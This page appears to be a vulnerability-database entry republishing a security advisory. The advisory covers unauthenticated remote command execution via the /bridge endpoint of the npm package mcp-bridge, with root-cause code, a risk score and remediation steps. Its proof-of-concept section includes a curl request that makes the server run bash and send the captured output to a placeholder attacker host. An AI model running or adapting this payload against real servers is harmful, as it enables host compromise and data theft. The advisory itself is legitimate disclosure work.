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OSV ecosystem advisory

GHSA-wvr4-3wq4-gpc5: MCP Connect has unauthenticated remote OS command execution via /bridge endpoint

CriticalCVSS 9.8 · v3.1—No exploit No fix recorded

Noroxi assessment

Priority: Monitor (action score 39/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • According to the record, no fixed version is available yet.

Low priority for now. Update when a fix is released; follow the vendor's advisory.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary When _AUTH_TOKEN_ and _ACCESS_TOKEN_ environment variables are not set (which is the default out-of-the-box configuration) the _/bridge_ HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials. ### Details **Root cause 1 - Authentication not enforced when token is absent** _src/config/config.ts_ line 161 sets authToken to an empty string when neither environment variable is configured: ``` authToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '', ``` The auth middleware in _src/server/http-server.ts_ lines 118–141 wraps all enforcement in if (_this.accessToken_). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request: ``` if (this.accessToken) { // ... token validation - never reached when token is ''} next(); // always reached in default config ``` The only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally. **Root cause 2 - _/bridge_ spawns arbitrary processes from request body input** _src/server/http-server.ts_ lines 194 and 218/227 extract _serverPath_ and _args_ directly from the untrusted JSON body and pass them to _MCPClientManager.createClient()_ without any validation: ``` const { serverPath, method, params, args, env } = req.body; // ... clientId = await this.mcpClient.createClient(serverPath, args, env); ``` _src/client/mcp-client-manager.ts_ lines 68–75 fall through to _StdioClientTransport_ for any value that is not a valid HTTP/WS URL, using _serverPath_ as the executable command verbatim: ``` transport = new StdioClientTransport({ command: serverPath, args: args || [], env: { ...getDefaultEnvironment(), ...(env || {}) } }); ``` There is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments. #### Exposure surface Express's _app.listen(port)_ binds to all interfaces _(0.0.0.0)_ by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit _start:tunnel_ npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface. ### PoC Start the server with no auth token configured (the default): ``` npm run build && npm start # No AUTH_TOKEN set — server starts on port 3000, all interfaces ``` Send a crafted request from any machine that can reach port 3000: ``` curl -X POST http://<host>:3000/bridge \ -H 'Content-Type: application/json' \ -d '{ "serverPath": "bash", "args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"], "method": "tools/list", "params": {} }' ``` The server spawns _bash_ as the _mcp-bridge_ process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run). For internet-exposed instances (tunnel mode), replace _<host>_ with the ngrok public URL. ### Impact Any unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running _mcp-bridge._ This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction. Deployments most at risk are: - Instances started with _npm run start:tunnel_ or _npm run dev:tunnel_ (direct internet exposure via ngrok) - Any instance running on a cloud VM, container, or host without a network firewall restricting port 3000 The vulnerability is trivially exploitable with a single curl command and requires no prior knowledge of the target beyond its IP address and port. ### Remediation 1. Treat a missing _AUTH_TOKEN_ as a fatal startup error. Replace the warning at _http-server.ts:41–43_ with a thrown exception so the server refuses to start without a configured secret. 2. Invert the auth guard logic. Deny all requests when _authToken_ is empty rather than allowing them.

Published
Mar 19, 2026
Updated
Mar 19, 2026
EPSS
—

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JSON

Action score

39

Monitor

Low priority for now.

CVSS
39 / 40 · 9.8 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npmmcp-bridge

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npmmcp-bridgeup to and including 2.0.0—

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

No fix version is recorded for this entry. Check the references for vendor advisories.

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
high · data or configuration can be modified
Availability
high · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
High
Integrity impact
High
Availability impact
High

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

osv

Root cause

A function added for development or support ships to production without authentication. It often relies on the assumption that it is “only reachable from the internal network.”

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
// Added for the support teamapp.post("/maintenance/reset", resetDevice);

Fixed

ts
if (config.maintenanceEnabled) {  app.post(    "/maintenance/reset",    requireSession, requireRole("admin"), resetDevice  );}

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

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